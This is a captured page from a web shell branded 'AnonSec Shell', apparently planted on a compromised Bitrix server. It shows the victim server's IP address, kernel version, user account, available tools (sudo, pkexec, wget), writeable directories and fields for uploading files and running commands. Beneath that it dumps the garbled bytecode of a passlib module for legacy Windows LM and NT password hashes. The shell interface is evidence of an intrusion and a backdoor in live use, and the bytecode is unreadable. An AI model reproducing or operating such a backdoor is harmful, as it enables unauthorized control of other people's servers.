AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.137.172.195
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/passlib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/passlib//win32.pyo
�
�
5Xc@s�dZddlmZede�ddlmZddlmZddlm	Z	ddl
mZdd	d
gZdZ
ejZded
�ZdS(spasslib.win32 - MS Windows support - DEPRECATED, WILL BE REMOVED IN 1.8

the LMHASH and NTHASH algorithms are used in various windows related contexts,
but generally not in a manner compatible with how passlib is structured.

in particular, they have no identifying marks, both being
32 bytes of binary data. thus, they can't be easily identified
in a context with other hashes, so a CryptHandler hasn't been defined for them.

this module provided two functions to aid in any use-cases which exist.

.. warning::

    these functions should not be used for new code unless an existing
    system requires them, they are both known broken,
    and are beyond insecure on their own.

.. autofunction:: raw_lmhash
.. autofunction:: raw_nthash

See also :mod:`passlib.hash.nthash`.
i����(twarns�the 'passlib.win32' module is deprecated, and will be removed in passlib 1.8; please use the 'passlib.hash.nthash' and 'passlib.hash.lmhash' classes instead.(thexlify(tunicode(tdes_encrypt_block(tnthashRt
raw_lmhasht
raw_nthashsKGS!@#$%tasciicCs�t|t�r!|j|�}n|j�d ddt|�}t|d t�t|dt�}|r�t|�jd�S|S(s]encode password using des-based LMHASH algorithm; returns string of raw bytes, or unicode hexitiR(	t
isinstanceRtencodetuppertlenRtLM_MAGICRtdecode(tsecrettencodingthextnstout((s1/usr/lib/python2.7/site-packages/passlib/win32.pyR5s
"$N(t__doc__twarningsRtDeprecationWarningtbinasciiRtpasslib.utils.compatRtpasslib.crypto.desRtpasslib.hashRt__all__R
RtFalseR(((s1/usr/lib/python2.7/site-packages/passlib/win32.pyt<module>s		

Anon7 - 2022
AnonSec Team